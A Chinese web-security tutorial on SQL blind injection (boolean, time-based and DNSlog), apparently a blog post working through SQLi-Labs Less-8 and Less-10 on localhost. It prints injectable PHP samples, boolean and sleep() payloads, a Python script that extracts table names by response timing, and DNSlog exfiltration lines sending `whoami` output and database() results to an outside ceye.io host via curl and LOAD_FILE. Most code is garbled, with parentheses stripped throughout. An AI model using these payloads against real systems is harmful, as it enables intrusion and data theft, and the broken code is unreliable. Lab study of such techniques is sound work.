宝塔服务器面板,一键全能部署及管理,送你10850元礼包,点我领取

一、布尔盲注

布尔盲注原理

可以进行注入,但是不回显数据,只返回True与False。

布尔盲注典型代码

$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id='$id' limit 0,1";
$result = mysql_query$sql);
$row = mysql_fetch_array$result);
if$row){
  echo "True!!!";
}else{
  echo "Fasle!!!";
}

布尔盲注方法

构造逻辑判断语句,判断信息真假

序号 方法 说明
1 left)函数 leftstr1,length) 从左侧截取str的前b位
2 regexp select user) regexp '^r' regexp为匹配root的正则表达式
3 like select user) like 'ro%' 使用like进行匹配
4 substr)函数和ascii)函数 asciisubstrselect database),1,1))=98 substrstr,index,length)
5 ord)函数和mid)函数 ordmidselect user)),1,1))=114 midstr,index,length)

注: 在BurpSuite中可以使用intuder模块根据返回页面长度不同来判断。(利用BurpSuite工具将在后续文章中详解)

实战 SQLi-Labs Less-8

阅读源代码可知语句为True则返回You are in ......,False则不返回内容。

【Web安全】三、SQL盲注-风君子博客

利用left)函数来测试数据库名称

【Web安全】三、SQL盲注-风君子博客

【Web安全】三、SQL盲注-风君子博客

利用left)函数来查询数据表名称

【Web安全】三、SQL盲注-风君子博客

利用regexp正则表达式来查询数据库名称

【Web安全】三、SQL盲注-风君子博客

利用substr)ascii)函数来查询数据库名称

【Web安全】三、SQL盲注-风君子博客

二、时间盲入

时间盲注原理

代码存在SQL注入漏洞,但是页面不会回显错误信息

语句执行后也不回显真假信息,不能通过页面的内容来判断

时间盲注:构造语句,通过页面响应的时长来判断信息

时间盲注代码

$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id='$id' limit 0,1";
$result = mysql_query$sql);
$row = mysql_fetch_array$result);
if$row){
  echo "";
}else{
  echo "";
}

时间盲注方法

构造逻辑语句,通过条件语句进行判断,True则立即执行,False则延时执行。

核心语法:if条件,0,sleep3));

真实场景:ifasciisubstrdatabase),1,1))>115,0,sleep5))--+

实战 SQLi-Labs Less-10

阅读源代码可知语句无论是True还是False都返回You are in ......

【Web安全】三、SQL盲注-风君子博客

构造Payload实现时间盲注http://127.0.0.1:8999/Less-10/?id=2“ and ifleftuser),1)= ’a’,0,sleep3))--+,通过响应时长来判断。

【Web安全】三、SQL盲注-风君子博客

构造Payload实现时间盲注http://127.0.0.1:8999/Less-10/?id=2“ and ifleftuser),1)= ’r’,0,sleep3))--+(正确答案),通过响应时长来判断。

【Web安全】三、SQL盲注-风君子博客

用Python3编写时间盲注脚本

# timeBlindSql.py
import requests
import time
import binascii

#提供字符串转十六进制函数
#def strtoHex):
#    temp = strbinascii.b2a_hex'security'.encode'utf-8')))
#    return '0x'+temp[2:lentemp)-1]

url = 'http://127.0.0.1:8999/Less-10/?id=1'

# 获取数据库,不需做任何改动
database = 'select schema_name from information_schema.schemata'

# 获取数据表,默认为当前数据库,若需改动则填写数据库的十六进制格式

table = 'select table_name from information_schema.tables where table_schema=database)'
 
# 获取数据表,数据表的十六进制格式
column = 'select column_name from information_schema.columns where table_name="table_name"'

result = ''
result_total = ''
for num in range0,5):
    for i in range1,20):
          for j in range48,122):
            payload = '" and ifasciisubstr{} limit {},1),{},1))={},sleep1),1)--+'.formattable,num,i,j)
            stime = time.time)
            r = requests.geturl+payload)
            etime = time.time)
            if etime - stime >= 1:
                result += chrj)
                break
    print'result[{}]:'.formatnum)+result)  
    result_total += '{} '.formatresult)
    result = ''
printresult_total) 
   

三、Dnslog盲注

Dnslog盲注原理

DnsLog:DNS Server中记录我们访问域名的信息。

语句执行后也不回显真假信息,不能通过页面的内容来判断。我们可以通过布尔或时间盲注来获取内容,但是整个过程效率很低,需要发送很多的请求进行判断,很可能会触发安全设备的防护。

DnsLog盲注:减少请求,直接回显数据。

Dnslog盲注典型代码

$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id='$id' limit 0,1";
$result = mysql_query$sql);
$row = mysql_fetch_array$result);
if$row){
  echo "True!!!";
}else{
  echo "Fasle!!!";
}

Dnslog盲注方法

DnsLog平台:http://ceye.io/

前往DnsLog平台注册登入后,平台会分配一个Identity

【Web安全】三、SQL盲注-风君子博客

进入命令行利用curl发起请求

【Web安全】三、SQL盲注-风君子博客

在ceye.io/records/dns即可查看到访问记录

【Web安全】三、SQL盲注-风君子博客

利用bash中“可执行命令的属性。设置curl请求:`whoami`.bygt3w.ceye.io

【Web安全】三、SQL盲注-风君子博客

DNS在解析的时候会留下日志,通过读取多级域名的解析日志,获取请求信息。

在MySQ LLOAD_FILE函数可以发起请求,使用DnsLog接收请求,获取数据。

核心语句:SELECT LOAD_FILECONCAT'\\',(select database)),'.mysql.bygt3w.ceye.io\abc'))

通过SQL语句查询内容,作为请求的一部分,发送至DnsLog。

只需要对核心语句中select database)部分进行构造,就能实现有回显的SQL注入。